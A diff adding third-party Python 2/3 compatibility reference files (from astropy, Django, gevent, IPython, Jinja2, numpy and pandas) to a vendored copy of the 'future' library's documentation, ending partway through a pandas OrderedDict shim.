+    # Make the decode_ascii utility function actually work
+    from . import util
+    import numpy
+
+    def encode_ascii(s):
+        if isinstance(s, str):
+            return s.encode('ascii')
+        elif isinstance(s, numpy.ndarray) and \
+                issubclass(s.dtype.type, numpy.str_):
+            ns = numpy.char.encode(s, 'ascii').view(type(s))
+            if ns.dtype.itemsize != s.dtype.itemsize / 4:
+                ns = ns.astype((numpy.bytes_, s.dtype.itemsize / 4))
+            return ns
+        return s
+    util.encode_ascii = encode_ascii
+
+    def decode_ascii(s):
+        if isinstance(s, bytes):
+            return s.decode('ascii')
+        elif (isinstance(s, numpy.ndarray) and
+              issubclass(s.dtype.type, numpy.bytes_)):
+            # np.char.encode/decode annoyingly don't preserve the type of the
+            # array, hence the view() call
+            # It also doesn't necessarily preserve widths of the strings,
+            # hence the astype()
+            ns = numpy.char.decode(s, 'ascii').view(type(s))
+            if ns.dtype.itemsize / 4 != s.dtype.itemsize:
+                ns = ns.astype((numpy.str_, s.dtype.itemsize))
+            return ns
+        return s
+    util.decode_ascii = decode_ascii
+
+    # Replacements for b and u marks on strings
+    def b(s):
+        return s.encode('latin-1')
+
+    def u(s):
+        return s
+
+    util.b = b
+    util.u = u
+
+    # See the docstring for astropy.io.fits.util.fileobj_open for why we need
+    # to replace this function
+    def fileobj_open(filename, mode):
+        return open(filename, mode, buffering=0)
+    util.fileobj_open = fileobj_open
+
+    # Support the io.IOBase.readable/writable methods
+    from .util import isreadable as _isreadable
+
+    def isreadable(f):
+        if hasattr(f, 'readable'):
+            return f.readable()
+        return _isreadable(f)
+    util.isreadable = isreadable
+
+    from .util import iswritable as _iswritable
+
+    def iswritable(f):
+        if hasattr(f, 'writable'):
+            return f.writable()
+        return _iswritable(f)
+    util.iswritable = iswritable
+
+    # isfile needs to support the higher-level wrappers around FileIO
+    def isfile(f):
+        if isinstance(f, io.FileIO):
+            return True
+        elif hasattr(f, 'buffer'):
+            return isfile(f.buffer)
+        elif hasattr(f, 'raw'):
+            return isfile(f.raw)
+        return False
+    util.isfile = isfile
+
+    # Here we monkey patch (yes, I know) numpy to fix a few numpy Python 3
+    # bugs.  The only behavior that's modified is that bugs are fixed, so that
+    # should be OK.
+
+    # Fix chararrays; this is necessary in numpy 1.5.1 and below--hopefully
+    # should not be necessary later.  See
+    # http://projects.scipy.org/numpy/ticket/1817
+    # TODO: Maybe do a version check on numpy for this?  (Note: the fix for
+    # this hasn't been accepted in Numpy yet, so a version number check would
+    # not be helpful yet...)
+    from . import file
+
+    _chararray = numpy.char.chararray
+
+    class chararray(_chararray):
+        def __getitem__(self, obj):
+                val = numpy.ndarray.__getitem__(self, obj)
+                if isinstance(val, numpy.character):
+                    temp = val.rstrip()
+                    if numpy.char._len(temp) == 0:
+                        val = ''
+                    else:
+                        val = temp
+                return val
+    for m in [numpy.char, numpy.core.defchararray, numpy.core.records]:
+        m.chararray = chararray
+
+    # Fix recarrays with sub-array fields.  See
+    # http://projects.scipy.org/numpy/ticket/1766
+    # TODO: Same as above, though the fix to this problem hasn't made it into
+    # any Numpy release yet either, so we'll have to hold off on a version
+    # check
+    def _fix_dtype(dtype):
+        """
+        Numpy has a bug (in Python3 only) that causes a segfault when
+        accessing the data of arrays containing nested arrays.  Specifically,
+        this happens if the shape of the subarray is not given as a tuple.
+        See http://projects.scipy.org/numpy/ticket/1766.
+        """
+
+        if not hasattr(dtype, 'fields') or dtype.fields is None:
+            return dtype
+
+        formats = []
+        offsets = []
+        titles = []
+        for name in dtype.names:
+            field = dtype.fields[name]
+            shape = field[0].shape
+            if not isinstance(shape, tuple):
+                shape = (shape,)
+            formats.append((field[0].base, shape))
+            offsets.append(field[1])
+
+            # There seems to be no obvious way to extract the titles from
+            # a dtype, so this just searches for duplicate fields
+            title = None
+            for key, dup in dtype.fields.items():
+                if key != name and dup == field:
+                    title = key
+                    break
+            titles.append(title)
+
+        return numpy.dtype({'names': dtype.names, 'formats': formats,
+                            'offsets': offsets, 'titles': titles})
+
+    _recarray = numpy.recarray
+
+    class recarray(_recarray):
+        def __new__(subtype, shape, dtype=None, buf=None, offset=0,
+                    strides=None, formats=None, names=None, titles=None,
+                    byteorder=None, aligned=False, order='C'):
+            if dtype is not None:
+                dtype = _fix_dtype(dtype)
+
+            if 'order' in _recarray.__new__.__code__.co_varnames:
+                return _recarray.__new__(
+                    subtype, shape, dtype, buf, offset, strides, formats,
+                    names, titles, byteorder, aligned, order)
+            else:
+                return _recarray.__new__(
+                    subtype, shape, dtype, buf, offset, strides, formats,
+                    names, titles, byteorder, aligned)
+    numpy.recarray = numpy.core.records.recarray = recarray
+
+    # We also need to patch astropy.io.fits.file._File which can also be
+    # affected by the #1766 bug
+    old_File = file._File
+
+    class _File(old_File):
+        def readarray(self, size=None, offset=0, dtype=numpy.uint8,
+                      shape=None):
+            if isinstance(dtype, numpy.dtype):
+                dtype = _fix_dtype(dtype)
+            return old_File.readarray(self, size, offset, dtype, shape)
+        readarray.__doc__ = old_File.readarray.__doc__
+    file._File = _File
+
+    # Replace astropy.io.fits.util.maketrans and translate with versions that
+    # work with Python 3 unicode strings
+    util.maketrans = str.maketrans
+
+    def translate(s, table, deletechars):
+        if deletechars:
+            table = table.copy()
+            for c in deletechars:
+                table[ord(c)] = None
+        return s.translate(table)
+    util.translate = translate
+else:
+    # Stuff to do if not Python 3
+    import string
+    from . import util
+    util.maketrans = string.maketrans
+
+    def b(s):
+        return s
+
+    def u(s):
+        return unicode(s, 'unicode_escape')
+
+    util.b = b
+    util.u = u

+ 228 - 0
desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/django_utils_encoding.py

@@ -0,0 +1,228 @@
+from __future__ import unicode_literals
+
+import codecs
+import datetime
+from decimal import Decimal
+import locale
+try:
+    from urllib.parse import quote
+except ImportError:     # Python 2
+    from urllib import quote
+
+from django.utils.functional import Promise
+from django.utils import six
+
+class DjangoUnicodeDecodeError(UnicodeDecodeError):
+    def __init__(self, obj, *args):
+        self.obj = obj
+        UnicodeDecodeError.__init__(self, *args)
+
+    def __str__(self):
+        original = UnicodeDecodeError.__str__(self)
+        return '%s. You passed in %r (%s)' % (original, self.obj,
+                type(self.obj))
+
+def python_2_unicode_compatible(klass):
+    """
+    A decorator that defines __unicode__ and __str__ methods under Python 2.
+    Under Python 3 it does nothing.
+
+    To support Python 2 and 3 with a single code base, define a __str__ method
+    returning text and apply this decorator to the class.
+    """
+    if not six.PY3:
+        klass.__unicode__ = klass.__str__
+        klass.__str__ = lambda self: self.__unicode__().encode('utf-8')
+    return klass
+
+def smart_text(s, encoding='utf-8', strings_only=False, errors='strict'):
+    """
+    Returns a text object representing 's' -- unicode on Python 2 and str on
+    Python 3. Treats bytestrings using the 'encoding' codec.
+
+    If strings_only is True, don't convert (some) non-string-like objects.
+    """
+    if isinstance(s, Promise):
+        # The input is the result of a gettext_lazy() call.
+        return s
+    return force_text(s, encoding, strings_only, errors)
+
+def is_protected_type(obj):
+    """Determine if the object instance is of a protected type.
+
+    Objects of protected types are preserved as-is when passed to
+    force_text(strings_only=True).
+    """
+    return isinstance(obj, six.integer_types + (type(None), float, Decimal,
+        datetime.datetime, datetime.date, datetime.time))
+
+def force_text(s, encoding='utf-8', strings_only=False, errors='strict'):
+    """
+    Similar to smart_text, except that lazy instances are resolved to
+    strings, rather than kept as lazy objects.
+
+    If strings_only is True, don't convert (some) non-string-like objects.
+    """
+    # Handle the common case first, saves 30-40% when s is an instance of
+    # six.text_type. This function gets called often in that setting.
+    if isinstance(s, six.text_type):
+        return s
+    if strings_only and is_protected_type(s):
+        return s
+    try:
+        if not isinstance(s, six.string_types):
+            if hasattr(s, '__unicode__'):
+                s = s.__unicode__()
+            else:
+                if six.PY3:
+                    if isinstance(s, bytes):
+                        s = six.text_type(s, encoding, errors)
+                    else:
+                        s = six.text_type(s)
+                else:
+                    s = six.text_type(bytes(s), encoding, errors)
+        else:
+            # Note: We use .decode() here, instead of six.text_type(s, encoding,
+            # errors), so that if s is a SafeBytes, it ends up being a
+            # SafeText at the end.
+            s = s.decode(encoding, errors)
+    except UnicodeDecodeError as e:
+        if not isinstance(s, Exception):
+            raise DjangoUnicodeDecodeError(s, *e.args)
+        else:
+            # If we get to here, the caller has passed in an Exception
+            # subclass populated with non-ASCII bytestring data without a
+            # working unicode method. Try to handle this without raising a
+            # further exception by individually forcing the exception args
+            # to unicode.
+            s = ' '.join([force_text(arg, encoding, strings_only,
+                    errors) for arg in s])
+    return s
+
+def smart_bytes(s, encoding='utf-8', strings_only=False, errors='strict'):
+    """
+    Returns a bytestring version of 's', encoded as specified in 'encoding'.
+
+    If strings_only is True, don't convert (some) non-string-like objects.
+    """
+    if isinstance(s, Promise):
+        # The input is the result of a gettext_lazy() call.
+        return s
+    return force_bytes(s, encoding, strings_only, errors)
+
+
+def force_bytes(s, encoding='utf-8', strings_only=False, errors='strict'):
+    """
+    Similar to smart_bytes, except that lazy instances are resolved to
+    strings, rather than kept as lazy objects.
+
+    If strings_only is True, don't convert (some) non-string-like objects.
+    """
+    if isinstance(s, six.memoryview):
+        s = bytes(s)
+    if isinstance(s, bytes):
+        if encoding == 'utf-8':
+            return s
+        else:
+            return s.decode('utf-8', errors).encode(encoding, errors)
+    if strings_only and (s is None or isinstance(s, int)):
+        return s
+    if isinstance(s, Promise):
+        return six.text_type(s).encode(encoding, errors)
+    if not isinstance(s, six.string_types):
+        try:
+            if six.PY3:
+                return six.text_type(s).encode(encoding)
+            else:
+                return bytes(s)
+        except UnicodeEncodeError:
+            if isinstance(s, Exception):
+                # An Exception subclass containing non-ASCII data that doesn't
+                # know how to print itself properly. We shouldn't raise a
+                # further exception.
+                return b' '.join([force_bytes(arg, encoding, strings_only,
+                        errors) for arg in s])
+            return six.text_type(s).encode(encoding, errors)
+    else:
+        return s.encode(encoding, errors)
+
+if six.PY3:
+    smart_str = smart_text
+    force_str = force_text
+else:
+    smart_str = smart_bytes
+    force_str = force_bytes
+    # backwards compatibility for Python 2
+    smart_unicode = smart_text
+    force_unicode = force_text
+
+smart_str.__doc__ = """\
+Apply smart_text in Python 3 and smart_bytes in Python 2.
+
+This is suitable for writing to sys.stdout (for instance).
+"""
+
+force_str.__doc__ = """\
+Apply force_text in Python 3 and force_bytes in Python 2.
+"""
+
+def iri_to_uri(iri):
+    """
+    Convert an Internationalized Resource Identifier (IRI) portion to a URI
+    portion that is suitable for inclusion in a URL.
+
+    This is the algorithm from section 3.1 of RFC 3987.  However, since we are
+    assuming input is either UTF-8 or unicode already, we can simplify things a
+    little from the full method.
+
+    Returns an ASCII string containing the encoded result.
+    """
+    # The list of safe characters here is constructed from the "reserved" and
+    # "unreserved" characters specified in sections 2.2 and 2.3 of RFC 3986:
+    #     reserved    = gen-delims / sub-delims
+    #     gen-delims  = ":" / "/" / "?" / "#" / "[" / "]" / "@"
+    #     sub-delims  = "!" / "$" / "&" / "'" / "(" / ")"
+    #                   / "*" / "+" / "," / ";" / "="
+    #     unreserved  = ALPHA / DIGIT / "-" / "." / "_" / "~"
+    # Of the unreserved characters, urllib.quote already considers all but
+    # the ~ safe.
+    # The % character is also added to the list of safe characters here, as the
+    # end of section 3.1 of RFC 3987 specifically mentions that % must not be
+    # converted.
+    if iri is None:
+        return iri
+    return quote(force_bytes(iri), safe=b"/#%[]=:;$&()+,!?*@'~")
+
+def filepath_to_uri(path):
+    """Convert a file system path to a URI portion that is suitable for
+    inclusion in a URL.
+
+    We are assuming input is either UTF-8 or unicode already.
+
+    This method will encode certain chars that would normally be recognized as
+    special chars for URIs.  Note that this method does not encode the '
+    character, as it is a valid character within URIs.  See
+    encodeURIComponent() JavaScript function for more details.
+
+    Returns an ASCII string containing the encoded result.
+    """
+    if path is None:
+        return path
+    # I know about `os.sep` and `os.altsep` but I want to leave
+    # some flexibility for hardcoding separators.
+    return quote(force_bytes(path).replace(b"\\", b"/"), safe=b"/~!*()'")
+
+def get_system_encoding():
+    """
+    The encoding of the default system locale but falls back to the given
+    fallback encoding if the encoding is unsupported by python or could
+    not be determined.  See tickets #10335 and #5846
+    """
+    try:
+        encoding = locale.getdefaultlocale()[1] or 'ascii'
+        codecs.lookup(encoding)
+    except Exception:
+        encoding = 'ascii'
+    return encoding
+
+DEFAULT_LOCALE_ENCODING = get_system_encoding()

+ 17 - 0
desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/gevent_py3k.py

@@ -0,0 +1,17 @@
+"""
+From gevent/hub.py
+"""
+PY3 = sys.version_info[0] >= 3
+
+if PY3:
+    string_types = str,
+    integer_types = int,
+else:
+    string_types = basestring,
+    integer_types = (int, long)
+
+
+if sys.version_info[0] <= 2:
+    import thread
+else:
+    import _thread as thread

+ 178 - 0
desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/ipython_py3compat.py

@@ -0,0 +1,178 @@
+# coding: utf-8
+"""Compatibility tricks for Python 3. Mainly to do with unicode."""
+import __builtin__
+import functools
+import sys
+import re
+import types
+
+from .encoding import DEFAULT_ENCODING
+
+orig_open = open
+
+def no_code(x, encoding=None):
+    return x
+
+def decode(s, encoding=None):
+    encoding = encoding or DEFAULT_ENCODING
+    return s.decode(encoding, "replace")
+
+def encode(u, encoding=None):
+    encoding = encoding or DEFAULT_ENCODING
+    return u.encode(encoding, "replace")
+
+
+def cast_unicode(s, encoding=None):
+    if isinstance(s, bytes):
+        return decode(s, encoding)
+    return s
+
+def cast_bytes(s, encoding=None):
+    if not isinstance(s, bytes):
+        return encode(s, encoding)
+    return s
+
+def _modify_str_or_docstring(str_change_func):
+    @functools.wraps(str_change_func)
+    def wrapper(func_or_str):
+        if isinstance(func_or_str, basestring):
+            func = None
+            doc = func_or_str
+        else:
+            func = func_or_str
+            doc = func.__doc__
+        
+        doc = str_change_func(doc)
+        
+        if func:
+            func.__doc__ = doc
+            return func
+        return doc
+    return wrapper
+
+if sys.version_info[0] >= 3:
+    PY3 = True
+    
+    input = input
+    builtin_mod_name = "builtins"
+    
+    str_to_unicode = no_code
+    unicode_to_str = no_code
+    str_to_bytes = encode
+    bytes_to_str = decode
+    cast_bytes_py2 = no_code
+    
+    def isidentifier(s, dotted=False):
+        if dotted:
+            return all(isidentifier(a) for a in s.split("."))
+        return s.isidentifier()
+    
+    open = orig_open
+    
+    MethodType = types.MethodType
+    
+    def execfile(fname, glob, loc=None):
+        loc = loc if (loc is not None) else glob
+        exec compile(open(fname, 'rb').read(), fname, 'exec') in glob, loc
+    
+    # Refactor print statements in doctests.
+    _print_statement_re = re.compile(r"\bprint (?P<expr>.*)$", re.MULTILINE)
+    def _print_statement_sub(match):
+        expr = match.groups('expr')
+        return "print(%s)" % expr
+    
+    @_modify_str_or_docstring
+    def doctest_refactor_print(doc):
+        """Refactor 'print x' statements in a doctest to print(x) style. 2to3
+        unfortunately doesn't pick up on our doctests.
+        
+        Can accept a string or a function, so it can be used as a decorator."""
+        return _print_statement_re.sub(_print_statement_sub, doc)
+    
+    # Abstract u'abc' syntax:
+    @_modify_str_or_docstring
+    def u_format(s):
+        """"{u}'abc'" --> "'abc'" (Python 3)
+        
+        Accepts a string or a function, so it can be used as a decorator."""
+        return s.format(u='')
+
+else:
+    PY3 = False
+    
+    input = raw_input
+    builtin_mod_name = "__builtin__"
+    
+    str_to_unicode = decode
+    unicode_to_str = encode
+    str_to_bytes = no_code
+    bytes_to_str = no_code
+    cast_bytes_py2 = cast_bytes
+    
+    import re
+    _name_re = re.compile(r"[a-zA-Z_][a-zA-Z0-9_]*$")
+    def isidentifier(s, dotted=False):
+        if dotted:
+            return all(isidentifier(a) for a in s.split("."))
+        return bool(_name_re.match(s))
+    
+    class open(object):
+        """Wrapper providing key part of Python 3 open() interface."""
+        def __init__(self, fname, mode="r", encoding="utf-8"):
+            self.f = orig_open(fname, mode)
+            self.enc = encoding
+        
+        def write(self, s):
+            return self.f.write(s.encode(self.enc))
+        
+        def read(self, size=-1):
+            return self.f.read(size).decode(self.enc)
+        
+        def close(self):
+            return self.f.close()
+        
+        def __enter__(self):
+            return self
+        
+        def __exit__(self, etype, value, traceback):
+            self.f.close()
+    
+    def MethodType(func, instance):
+        return types.MethodType(func, instance, type(instance))
+    
+    # don't override system execfile on 2.x:
+    execfile = execfile
+    
+    def doctest_refactor_print(func_or_str):
+        return func_or_str
+
+
+    # Abstract u'abc' syntax:
+    @_modify_str_or_docstring
+    def u_format(s):
+        """"{u}'abc'" --> "u'abc'" (Python 2)
+        
+        Accepts a string or a function, so it can be used as a decorator."""
+        return s.format(u='u')
+
+    if sys.platform == 'win32':
+        def execfile(fname, glob=None, loc=None):
+            loc = loc if (loc is not None) else glob
+            # The rstrip() is necessary b/c trailing whitespace in files will
+            # cause an IndentationError in Python 2.6 (this was fixed in 2.7,
+            # but we still support 2.6).  See issue 1027.
+            scripttext = __builtin__.open(fname).read().rstrip() + '\n'
+            # compile converts unicode filename to str assuming
+            # ascii. Let's do the conversion before calling compile
+            if isinstance(fname, unicode):
+                filename = unicode_to_str(fname)
+            else:
+                filename = fname
+            exec compile(scripttext, filename, 'exec') in glob, loc
+    else:
+        def execfile(fname, *where):
+            if isinstance(fname, unicode):
+                filename = fname.encode(sys.getfilesystemencoding())
+            else:
+                filename = fname
+            __builtin__.execfile(filename, *where)

+ 109 - 0
desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/jinja2_compat.py

@@ -0,0 +1,109 @@
+# -*- coding: utf-8 -*-
+"""
+    jinja2._compat
+    ~~~~~~~~~~~~~~
+
+    Some py2/py3 compatibility support based on a stripped down
+    version of six so we don't have to depend on a specific version
+    of it.
+
+    :copyright: Copyright 2013 by the Jinja team, see AUTHORS.
+    :license: BSD, see LICENSE for details.
+"""
+import sys
+
+PY2 = sys.version_info[0] == 2
+PYPY = hasattr(sys, 'pypy_translation_info')
+_identity = lambda x: x
+
+
+if not PY2:
+    unichr = chr
+    range_type = range
+    text_type = str
+    string_types = (str,)
+
+    iterkeys = lambda d: iter(d.keys())
+    itervalues = lambda d: iter(d.values())
+    iteritems = lambda d: iter(d.items())
+
+    import pickle
+    from io import BytesIO, StringIO
+    NativeStringIO = StringIO
+
+    def reraise(tp, value, tb=None):
+        if value.__traceback__ is not tb:
+            raise value.with_traceback(tb)
+        raise value
+
+    ifilter = filter
+    imap = map
+    izip = zip
+    intern = sys.intern
+
+    implements_iterator = _identity
+    implements_to_string = _identity
+    encode_filename = _identity
+    get_next = lambda x: x.__next__
+
+else:
+    unichr = unichr
+    text_type = unicode
+    range_type = xrange
+    string_types = (str, unicode)
+
+    iterkeys = lambda d: d.iterkeys()
+    itervalues = lambda d: d.itervalues()
+    iteritems = lambda d: d.iteritems()
+
+    import cPickle as pickle
+    from cStringIO import StringIO as BytesIO, StringIO
+    NativeStringIO = BytesIO
+
+    exec('def reraise(tp, value, tb=None):\n raise tp, value, tb')
+
+    from itertools import imap, izip, ifilter
+    intern = intern
+
+    def implements_iterator(cls):
+        cls.next = cls.__next__
+        del cls.__next__
+        return cls
+
+    def implements_to_string(cls):
+        cls.__unicode__ = cls.__str__
+        cls.__str__ = lambda x: x.__unicode__().encode('utf-8')
+        return cls
+
+    get_next = lambda x: x.next
+
+    def encode_filename(filename):
+        if isinstance(filename, unicode):
+            return filename.encode('utf-8')
+        return filename
+
+
+def with_metaclass(meta, *bases):
+    # This requires a bit of explanation: the basic idea is to make a
+    # dummy metaclass for one level of class instanciation that replaces
+    # itself with the actual metaclass.  Because of internal type checks
+    # we also need to make sure that we downgrade the custom metaclass
+    # for one level to something closer to type (that's why __call__ and
+    # __init__ comes back from type etc.).
+    #
+    # This has the advantage over six.with_metaclass in that it does not
+    # introduce dummy classes into the final MRO.
+    class metaclass(meta):
+        __call__ = type.__call__
+        __init__ = type.__init__
+        def __new__(cls, name, this_bases, d):
+            if this_bases is None:
+                return type.__new__(cls, name, (), d)
+            return meta(name, bases, d)
+    return metaclass('temporary_class', None, {})
+
+
+try:
+    from urllib.parse import quote_from_bytes as url_quote
+except ImportError:
+    from urllib import quote as url_quote

+ 71 - 0
desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/numpy_py3k.py

@@ -0,0 +1,71 @@
+"""
+Python 3 compatibility tools.
+
+"""
+
+__all__ = ['bytes', 'asbytes', 'isfileobj', 'getexception', 'strchar',
+           'unicode', 'asunicode', 'asbytes_nested', 'asunicode_nested',
+           'asstr', 'open_latin1']
+
+import sys
+
+if sys.version_info[0] >= 3:
+    import io
+    bytes = bytes
+    unicode = str
+
+    def asunicode(s):
+        if isinstance(s, bytes):
+            return s.decode('latin1')
+        return str(s)
+
+    def asbytes(s):
+        if isinstance(s, bytes):
+            return s
+        return str(s).encode('latin1')
+
+    def asstr(s):
+        if isinstance(s, bytes):
+            return s.decode('latin1')
+        return str(s)
+
+    def isfileobj(f):
+        return isinstance(f, (io.FileIO, io.BufferedReader))
+
+    def open_latin1(filename, mode='r'):
+        return open(filename, mode=mode, encoding='iso-8859-1')
+
+    strchar = 'U'
+
+else:
+    bytes = str
+    unicode = unicode
+    asbytes = str
+    asstr = str
+    strchar = 'S'
+
+    def isfileobj(f):
+        return isinstance(f, file)
+
+    def asunicode(s):
+        if isinstance(s, unicode):
+            return s
+        return str(s).decode('ascii')
+
+    def open_latin1(filename, mode='r'):
+        return open(filename, mode=mode)
+
+def getexception():
+    return sys.exc_info()[1]
+
+def asbytes_nested(x):
+    if hasattr(x, '__iter__') and not isinstance(x, (bytes, unicode)):
+        return [asbytes_nested(y) for y in x]
+    else:
+        return asbytes(x)
+
+def asunicode_nested(x):
+    if hasattr(x, '__iter__') and not isinstance(x, (bytes, unicode)):
+        return [asunicode_nested(y) for y in x]
+    else:
+        return asunicode(x)

+ 702 - 0
desktop/core/ext-py/future-0.16.0/docs/3rd-party-py3k-compat-code/pandas_py3k.py

@@ -0,0 +1,702 @@
+"""
+compat
+======
+
+Cross-compatible functions for Python 2 and 3.
+
+Key items to import for 2/3 compatible code:
+* iterators: range(), map(), zip(), filter(), reduce()
+* lists: lrange(), lmap(), lzip(), lfilter()
+* unicode: u() [u"" is a syntax error in Python 3.0-3.2]
+* longs: long (int in Python 3)
+* callable
+* iterable method compatibility: iteritems, iterkeys, itervalues
+  * Uses the original method if available, otherwise uses items, keys, values.
+* types:
+    * text_type: unicode in Python 2, str in Python 3
+    * binary_type: str in Python 2, bythes in Python 3
+    * string_types: basestring in Python 2, str in Python 3
+* bind_method: binds functions to classes
+
+Python 2.6 compatibility:
+* OrderedDict
+* Counter
+
+Other items:
+* OrderedDefaultDict
+"""
+# pylint disable=W0611
+import functools
+import itertools
+from distutils.version import LooseVersion
+from itertools import product
+import sys
+import types
+
+PY3 = (sys.version_info[0] >= 3)
+# import iterator versions of these functions
+
+try:
+    import __builtin__ as builtins
+    # not writeable when instantiated with string, doesn't handle unicode well
+    from cStringIO import StringIO as cStringIO
+    # always writeable
+    from StringIO import StringIO
+    BytesIO = StringIO
+    import cPickle
+except ImportError:
+    import builtins
+    from io import StringIO, BytesIO
+    cStringIO = StringIO
+    import pickle as cPickle
+
+
+if PY3:
+    def isidentifier(s):
+        return s.isidentifier()
+
+    def str_to_bytes(s, encoding='ascii'):
+        return s.encode(encoding)
+
+    def bytes_to_str(b, encoding='utf-8'):
+        return b.decode(encoding)
+
+    # have to explicitly put builtins into the namespace
+    range = range
+    map = map
+    zip = zip
+    filter = filter
+    reduce = functools.reduce
+    long = int
+    unichr = chr
+
+    # list-producing versions of the major Python iterating functions
+    def lrange(*args, **kwargs):
+        return list(range(*args, **kwargs))
+
+    def lzip(*args, **kwargs):
+        return list(zip(*args, **kwargs))
+
+    def lmap(*args, **kwargs):
+        return list(map(*args, **kwargs))
+
+    def lfilter(*args, **kwargs):
+        return list(filter(*args, **kwargs))
+else:
+    # Python 2
+    import re
+    _name_re = re.compile(r"[a-zA-Z_][a-zA-Z0-9_]*$")
+
+    def isidentifier(s, dotted=False):
+        return bool(_name_re.match(s))
+
+    def str_to_bytes(s, encoding='ascii'):
+        return s
+
+    def bytes_to_str(b, encoding='ascii'):
+        return b
+
+    range = xrange
+    zip = itertools.izip
+    filter = itertools.ifilter
+    map = itertools.imap
+    reduce = reduce
+    long = long
+    unichr = unichr
+
+    # Python 2-builtin ranges produce lists
+    lrange = builtins.range
+    lzip = builtins.zip
+    lmap = builtins.map
+    lfilter = builtins.filter
+
+
+def iteritems(obj, **kwargs):
+    """replacement for six's iteritems for Python2/3 compat
+       uses 'iteritems' if available and otherwise uses 'items'.
+
+       Passes kwargs to method."""
+    func = getattr(obj, "iteritems", None)
+    if not func:
+        func = obj.items
+    return func(**kwargs)
+
+
+def iterkeys(obj, **kwargs):
+    func = getattr(obj, "iterkeys", None)
+    if not func:
+        func = obj.keys
+    return func(**kwargs)
+
+
+def itervalues(obj, **kwargs):
+    func = getattr(obj, "itervalues", None)
+    if not func:
+        func = obj.values
+    return func(**kwargs)
+
+
+def bind_method(cls, name, func):
+    """Bind a method to class, python 2 and python 3 compatible.
+
+    Parameters
+    ----------
+
+    cls : type
+        class to receive bound method
+    name : basestring
+        name of method on class instance
+    func : function
+        function to be bound as method
+
+
+    Returns
+    -------
+    None
+    """
+    # only python 2 has bound/unbound method issue
+    if not PY3:
+        setattr(cls, name, types.MethodType(func, None, cls))
+    else:
+        setattr(cls, name, func)
+# ----------------------------------------------------------------------------
+# functions largely based / taken from the six module
+
+# Much of the code in this module comes from Benjamin Peterson's six library.
+# The license for this library can be found in LICENSES/SIX and the code can be
+# found at https://bitbucket.org/gutworth/six
+
+if PY3:
+    string_types = str,
+    integer_types = int,
+    class_types = type,
+    text_type = str
+    binary_type = bytes
+
+    def u(s):
+        return s
+else:
+    string_types = basestring,
+    integer_types = (int, long)
+    class_types = (type, types.ClassType)
+    text_type = unicode
+    binary_type = str
+
+    def u(s):
+        return unicode(s, "unicode_escape")
+
+
+string_and_binary_types = string_types + (binary_type,)
+
+
+try:
+    # callable reintroduced in later versions of Python
+    callable = callable
+except NameError:
+    def callable(obj):
+        return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)
+
+# ----------------------------------------------------------------------------
+# Python 2.6 compatibility shims
+#
+
+# OrderedDict Shim from  Raymond Hettinger, python core dev
+# http://code.activestate.com/recipes/576693-ordered-dictionary-for-py24/
+# here to support versions before 2.6
+if not PY3:
+    # don't need this except in 2.6
+    try:
+        from thread import get_ident as _get_ident
+    except ImportError:
+        from dummy_thread import get_ident as _get_ident
+
+try:
+    from _abcoll import KeysView, ValuesView, ItemsView
+except ImportError:
+    pass
+
+
+class _OrderedDict(dict):
+
+    'Dictionary that remembers insertion order'
+    # An inherited dict maps keys to values.
+    # The inherited dict provides __getitem__, __len__, __contains__, and get.
+    # The remaining methods are order-aware.
+    # Big-O running times for all methods are the same as for regular
+    # dictionaries.
+
+    # The internal self.__map dictionary maps keys to links in a doubly linked
+    # list.  The circular doubly linked list starts and ends with a sentinel
+    # element.  The sentinel element never gets deleted (this simplifies the
+    # algorithm).  Each link is stored as a list of length three:  [PREV, NEXT,
+    # KEY].
+
+    def __init__(self, *args, **kwds):
+        '''Initialize an ordered dictionary.  Signature is the same as for
+        regular dictionaries, but keyword arguments are not recommended
+        because their insertion order is arbitrary.
+
+        '''
+        if len(args) > 1:
+            raise TypeError('expected at most 1 arguments, got %d' % len(args))
+        try:
+            self.__root
+        except AttributeError:
+            self.__root = root = []                     # sentinel node
+            root[:] = [root, root, None]
+            self.__map = {}
+        self.__update(*args, **kwds)
+
+    def __setitem__(self, key, value, dict_setitem=dict.__setitem__):
+        'od.__setitem__(i, y) <==> od[i]=y'
+        # Setting a new item creates a new link which goes at the end of the
+        # linked list, and the inherited dictionary is updated with the new
+        # key/value pair.
+        if key not in self:
+            root = self.__root
+            last = root[0]
+            last[1] = root[0] = self.__map[key] = [last, root, key]
+        dict_setitem(self, key, value)
+
+    def __delitem__(self, key, dict_delitem=dict.__delitem__):
+        'od.__delitem__(y) <==> del od[y]'
+        # Deleting an existing item uses self.__map to find the link which is
+        # then removed by updating the links in the predecessor and successor
+        # nodes.
+        dict_delitem(self, key)
+        link_prev, link_next, key = self.__map.pop(key)
+        link_prev[1] = link_next
+        link_next[0] = link_prev
+
+    def __iter__(self):
+        'od.__iter__() <==> iter(od)'
+        root = self.__root
+        curr = root[1]
+        while curr is not root:
+            yield curr[2]
+            curr = curr[1]
+
+    def __reversed__(self):
+        'od.__reversed__() <==> reversed(od)'
+        root = self.__root
+        curr = root[0]
+        while curr is not root:
+            yield curr[2]
+            curr = curr[0]
+
+    def clear(self):
+        'od.clear() -> None.  Remove all items from od.'
+        try:
+            for node in itervalues(self.__map):
+                del node[:]
+            root = self.__root
+            root[:] = [root, root, None]
+            self.__map.clear()
+        except AttributeError:
+            pass
+        dict.clear(self)
+
+    def popitem(self, last=True):
+        '''od.popitem() -> (k, v), return and remove a (key, value) pair.
+        Pairs are returned in LIFO order if last is true or FIFO order if
+        false.
+        '''
+        if not self:
+            raise KeyError('dictionary is empty')
+        root = self.__root
+        if last:
+            link = root[0]
+            link_prev = link[0]
+            link_prev[1] = root
+            root[0] = link_prev
+        else:
+            link = root[1]
+            link_next = link[1]
+            root[1] = link_next
+            link_next[0] = root
+        key = link[2]
+        del self.__map[key]
+        value = dict.pop(self, key)
+        return key, value
+
+    # -- the following methods do not depend on the internal structure --
+
+    def keys(self):
+        'od.keys() -> list of keys in od'
+        return list(self)
+
+    def values(self):
+        'od.values() -> list of values in od'
+        return [self[key] for key in self]
+
+    def items(self):
+        'od.items() -> list of (key, value) pairs in od'
+        return [(key, self[key]) for key in self]
+
+    def iterkeys(self):
+        'od.iterkeys() -> an iterator over the keys in od'
+        return iter(self)
+
+    def itervalues(self):
+        'od.itervalues -> an iterator over the values in od'
